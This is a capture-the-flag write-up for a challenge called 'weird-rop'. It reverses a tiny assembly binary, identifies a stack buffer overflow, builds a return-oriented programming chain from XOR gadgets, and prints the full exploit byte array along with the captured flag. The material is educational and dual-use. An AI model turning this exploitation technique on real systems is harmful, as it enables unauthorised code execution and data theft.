I didn’t participate in the CTF, but I noticed that there is no writeup for this challenge, so I decided to address that. :D You can find the exploit source here .
Exploitable Service
We get an exploitable service binary.
[joey@gibson] file weird-rop
weird-rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=2876651ce7257d4153ee90b05f0b1a2b29f25700, not stripped
Neato! We got a 64-bit ELF. The binary is statically compiled and not stripped, making reversing and exploitation much easier for us.
Reversing
Turns out there isn’t much to reverse! This is a very lightweight binary, written in assembly. Here’s the program entry:
┌ 21: entry0 ();
│ 0x00401154 e887ffffff call loc.vuln
│ 0x00401159 48c7c03c0000. mov rax, 0x3c
│ 0x00401160 48c7c7000000. mov rdi, 0
└ 0x00401167 0f05 syscall
So far so good - the program calls vuln()
then calls the exit
system call
with the exit code 0
. If you are looking for an easy reference for the ABI
bookmark
this
.
Let’s take a look at vuln()
:
│ 0x004010e0 55 push rbp
│ 0x004010e1 4889e5 mov rbp, rsp
│ 0x004010e4 4883ec10 sub rsp, 0x10
│ 0x004010e8 48c7c0020000. mov rax, 2
│ 0x004010ef 488d3c250020. lea rdi, loc.flag ; 0x402000 ; "/flag.txt"
│ 0x004010f7 48c7c6020000. mov rsi, 2
│ 0x004010fe 48c7c2000000. mov rdx, 0
│ 0x00401105 0f05 syscall
So far we got open("/flag.txt", O_RDWR)
. Note that this binary isn’t actually
using libc, I’m just using libc functions to make the reversed code easier to
look at. You can find the definitions of flags like O_RDWR
in /usr/include
(e.g. /usr/include/asm-generic/fcntl.h
).
│ 0x00401107 4883c030 add rax, 0x30
│ 0x0040110b 880424 mov byte [rsp], al
│ 0x0040110e c64424010a mov byte [var_1h], 0xa
│ 0x00401113 48c7c0010000. mov rax, 1
│ 0x0040111a 48c7c7010000. mov rdi, 1
│ 0x00401121 4889e6 mov rsi, rsp
│ 0x00401124 48c7c2020000. mov rdx, 2
│ 0x0040112b 0f05 syscall
At this point the rax
register holds the file descriptor returned by the
open
syscall. The program adds 0x30
to the file descriptor, which is a
low-tech way of turning a digit into its ASCII representation (0x30
represents zero and so on). We store this value on the stack and append \n
to
it. The program then outputs this number to the standard output:
write(STDOUT_FILENO, stack_pointer, 2);
│ 0x0040112d 48c7c0000000. mov rax, 0
│ 0x00401134 48c7c7000000. mov rdi, 0
│ 0x0040113b 4889e6 mov rsi, rsp
│ 0x0040113e 48c7c2c80000. mov rdx, 0xc8
│ 0x00401145 0f05 syscall
│ 0x00401147 48c7c7000000. mov rdi, 0
│ 0x0040114e 4883c410 add rsp, 0x10
│ 0x00401152 5d pop rbp
└ 0x00401153 c3 ret
Reverses to this:
read(STDOUT_FILENO, stack_ptr, 200);
The final chunk of this function reads 0xc8
bytes into the stack, nulls out
the rdi
register, does some cleanup, and returns. Obviously this is the
vulnerability - we can overwrite the return address on the stack and gain
control of the program counter.
Yucky Gadgets
Okay so.. what’s the problem? Just hunt for some useful gadgets and get that easy 300 points right? Let’s see here…
0x00401000 5e pop rsi
0x00401001 c3 ret
0x00401002 48c7c000000000 mov rax, 0
0x00401009 c3 ret
Cool cool.
0x0040100a 48c7c001000000 mov rax, 1
0x00401011 c3 ret
0x004010db 0f05 syscall
0x004010dd c3 ret
Nice!
0x0040109b 4881f7cd030000 xor rdi, 0x3cd
0x004010a2 c3 ret
0x004010d3 4881f79a020000 xor rdi, 0x29a
0x004010da c3 ret
Uhm…
0x004010cb 4881f7a3010000 xor rdi, 0x1a3
0x004010d2 c3 ret
0x004010c3 4881f798010000 xor rdi, 0x198
0x004010ca c3 ret
… okay?
26 xor rdi
gadgets?! Gross.
Exploitation Plan
The exploitation plan I chose was to take advantage of the open file descriptor, telegraphed to us by the service, read the contents of the flag file, and simply write it to the standard output.
Most gadgets are already obvious - we can load 1
and 0
into rax
for the write
and read
system calls respectively. We even have a gadget to
load the standard output file descriptor (1
) into rdi
.
However we still need to put the flag file descriptor in rdi
and there is no
clear gadget candidate for this. We just got a bunch of awkward XOR gadgets and
that means it’s time for some XOR math!
I don’t know about you, but I’m pretty lazy, so I just wrote a Python
script to bruteforce the needed XOR gadgets. (Note that since the rdi
register is nulled out, the first XOR gadget will just put the immediate value
into the register). The script permutes over every possible combination of XOR
gadgets and breaks when the value is found. permute.py
is the script I wrote
for this task. Take a look - nothing too fancy there.
The flag file descriptor is always 5
, so we can just run permute.py
once to
figure out the gadgets we need.
If you are confused by the file descriptor being 5
and not 3
you are
not alone - it’s weird. This is likely due to a little bit more code on the
server side that we don’t get to see. (I think the challenge would have been
more interesting if the file descriptor was somewhat random. That way, we’d have
to dynamically determine which gadgets to use).
[joey@gibson]$ ./permute.py 5
0x56 0x53
Great - so the XOR gadgets that have these two operands is what we need. We now have all of the key elements of our exploit. This is the ROP chain I came up with:
#define EXPLOIT_LEN 0xc8
uint8_t exploit[EXPLOIT_LEN] = {
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // it's in your head!
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // it's in your head!
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // filler!
0x7c, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // xor rdi, 0x53
0x1a, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // xor rdi, 0x56
0xde, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // pop rdx
0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // length value
0x02, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, 0x0
0xdb, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // syscall
0x0a, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, 0x1
0x12, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rdi, 0x1
0xdb, 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // syscall
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// ...
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
First 24 bytes are the filler for the stack - recall that the function subtracts
0x10
from the stack pointer and pops a register. The first two gadgets are the XOR
gadgets we’ve determined with permute.py
. The next gadget pops 0x19
into rdx
,
which is the length of our read. Finally, we shove the read
syscall number into
rax
and call it. Then we simply use the gadgets to load the write
syscall number
and place stdout file descriptor (1
) as its first argument. The other two arguments
in registers rsi
and rdx
remain the same throughout the exploit. That’s it!
[joey@gibson]$ ./exploit
CCC{math_is_hard_1234897}